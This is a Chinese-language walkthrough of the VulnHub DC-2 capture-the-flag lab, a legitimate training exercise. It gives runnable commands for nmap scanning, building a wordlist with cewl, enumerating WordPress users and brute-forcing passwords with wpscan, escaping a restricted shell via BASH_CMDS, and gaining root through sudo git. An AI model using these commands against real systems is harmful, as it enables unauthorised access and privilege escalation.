一、环境搭建

1、官网下载连接：https://www.vulnhub.com/entry/dc-2,311/

2、下载之后，使用Oracle VM VirtualBox导入靶场环境

3、为了正常练习，将靶场的网卡模式设置为桥接模式，启动即可

 

 二、靶场攻略

1、使用nmap快速扫描的命令：nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24，识别到靶场主机ip

 

 2、使用命令：nmap -A -p- -T4 192.168.1.5，探测靶场突破口

 

 开放了7744端口号，服务为ssh，80端口，服务为http

3、访问80端口，寻找进一步突破口，直接使用ip访问会跳转到http://dc-2/，所以添加hosts文件，让这个跳转域名来访问靶场ip

在/etc/hosts文件中添加域名

成功访问域名，并得到flag1

 

 

 

 4、根据提示，提示使用cewl来生成字典

输入命令：cewl dc-2 > password，爬取dc-2页面，将关键字生成字典写入到password文件中

 

5、查看网站源码，发现网站中URL目录结构为wp-*的，猜测网站为wordpress搭建的 

 

 

 6、使用wpscan这个专门扫描检测wordpress搭建的工具来查看是否存在已知漏洞

使用命令：wpscan --url dc-2，扫到wordpress的版本，ip地址等信息

 

 使用命令：wpscan --url dc-2 -e u，用户信息枚举，得到几个可以用来登录的账户

 

 7、使用得到的用户名，创建一个username用户文件.

 

使用命令：wpscan --url dc-2 -U username -P password，使用得到的用户名还有cewl得到的密码尝试爆破，成功爆破出两个账户密码

 

 8、因为wordpress的后台登录目录是公开的，所以直接访问/wp-admin，成功出现后台登录界面

 

使用爆破的账户密码，登录成功

 

 在jerry账户中，得到flag2

 

 9、根据flag2的提示，找另一个入口，想到ssh服务，使用命令:ssh tom@192.168.1.5 -p 7744，成功登录ssh

 

 得到flag3，因为cat无法使用，所以使用vi命令，得到提示

 

 10、因为使用tab，cat等命令无法使用，所以知道当前账户是受限制的，所以可以进行rbash绕过

输入以下命令：

BASH_CMDS[a]=/bin/bash
a
/bin/bash
export PATH=PATH:/sbin:/bin

输入之后，可以正常使用受限制的命令了

 

 11、进行收集信息，使用命令:ls -alhR /home，得到flag4和jerry账户信息

 

 

 

 12、根据flag4的提示信息，明显是要使用git提权

使用命令:su jerry，切换到jerry账户

使用命令:sudo -l，查看可以无密码使用root权限的命令，果然是git

 

 13、查询到git提权的方法

 

 输入命令：sudo git help config

之后直接在出现的help界面，输入 !/bin/bash，成功提权

 

 切换到root账户根目录，成功得到最后的final-flag.txt 

 

 完